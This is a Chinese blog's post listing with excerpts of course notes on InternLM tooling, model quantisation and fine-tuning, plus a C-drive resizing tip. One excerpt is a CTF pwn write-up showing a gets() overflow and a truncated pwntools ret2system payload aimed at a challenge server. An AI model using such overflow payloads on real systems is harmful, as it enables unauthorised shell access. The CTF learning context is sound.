- 博客(13)
- 收藏
- 关注
RSS订阅原创 【课后作业】6_OpenCompass 大模型评测
课程资料来源：书生·浦语大模型实战营。查看支持的数据集和模型。报错，安装opencv。面向GPU的环境安装。
2024-01-27 18:50:52
161
原创 【课后作业】5_LMDeploy 大模型量化部署实践
课程资料来源：书生·浦语大模型实战营。TurboMind 推理作为后端。用python脚本运行。然后运行client。
2024-01-21 20:01:57
427
原创 【课堂笔记】5_LMDeploy 大模型量化部署实践
为什么做 Weight Only 的量化?两个基本概念计算密集(compute-bound):推理的绝大部分时间消耗在数值计算上针对计算密集场景，可以通过使用更快的硬件计算单元来提升计算速度，比如量化为W8A8使用INT8 Tensor Core来加速计算。访存密集(memory-bound):推理时，绝大部分时间消耗在数据读取上;针对访存密集型场景，一般是通过提高计算访存比来提升性能。LLM是典型的访存密集型任务常见的LLM模型是Decoder Only架构。
2024-01-21 12:21:24
923
原创 【课堂笔记】4_XTuner 大模型单卡低成本微调实战
LLM的下游应用中，增量预训练和指令跟随是经常会用到两种的微调模式增量预训练微调使用场景:让基座模型学习到一些新知识，如某个垂类领域的常识训练数据:文章、书籍、代码等（陈述形式）指令跟随微调使用场景:让模型学会对话模板,根据人类指令进行对话训练数据:高质量的对话、问答数据（一问一答形式）指令跟随微调是为了得到能够实际对话的LLMXTuner能够自动组装模板对话模板介绍指令跟随微调前，需要先了解如何使用LLM进行对话在实际对话时,通常会有三种角色。
2024-01-15 19:49:09
320
1
原创 【课后作业】3_基于 InternLM 和 LangChain 搭建知识库并在 OpenXLab上部署
课程资料来源：书生·浦语大模型实战营。
2024-01-14 20:43:34
1043
1
原创 【课堂笔记】2_轻松玩转书生·浦语大模型趣味Demo
什么是大模型?人工智能领域中参数数量巨大、拥有庞大计算能力和参数规模的模型。特点及应用利用大量数据进行训练拥有数十亿甚至数千亿个参数模型在各种任务中展现出惊人的性能lnternLM模型全链条开源InternLM是一个开源的轻量级训练框架，旨在支持大模型训练而无需大量的依赖。基于InternLM训练框架，上海人工智能实验室已经发布了两个开源的预训练模型:InternLM-7B和InternLM-20B。
2024-01-10 17:03:02
990
原创 【课堂笔记】1_书生浦语大模型全链路开源开放体系
课程资料来源：书生·浦语大模型实战营大模型成为了热门关键词，尤其是chatGPT发布两个月月活破亿AI的发展路线：从专用模型（特定任务->一个模型解决一个问题）->通用大模型（一个模型应对多种任务、多种模态）书生·浦语大模型系列：轻量级（7B）、中量级（20B）、重量级（123B）从模型到应用：智能客服、个人助手、行业应用模型到应用：全链条开源开放体系：数据（书生万卷）、预训练（Intern-Train）、微调（XTuner）、部署（LMDeploy）、评测（OpenCompass）、应用（Lagent
2024-01-09 16:04:56
417
原创 西工大网络空间安全日CTF wp
pwnpwn1拿到题目首先checksec拖进ida观察，发现有受害者函数观察受害者函数，发现有gets()再观察左侧函数窗，发现有_system找到system的地址观察.rodata段，发现有’/bin/sh’字符串写脚本#080483c0 _system#08048610 /bin/shfrom pwn import *io=remote('139.196.175.134',10000)payload=b'a'*16+p32(0)+p32(0x080483c0)+
2022-04-17 16:17:22
2330
原创 C盘扩容经历
C盘爆红了，但是电脑磁盘管理压缩卷只能压缩D盘远离C盘的部分，分出的卷扩不到C盘。然后查了各种资料发现DiskGenius可以在不损失原有数据的情况下扩C盘。在免费的情况下可以使用软件大部分功能，非常好用，可到官网下载。...
2022-04-16 15:34:18
110
空空如也
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人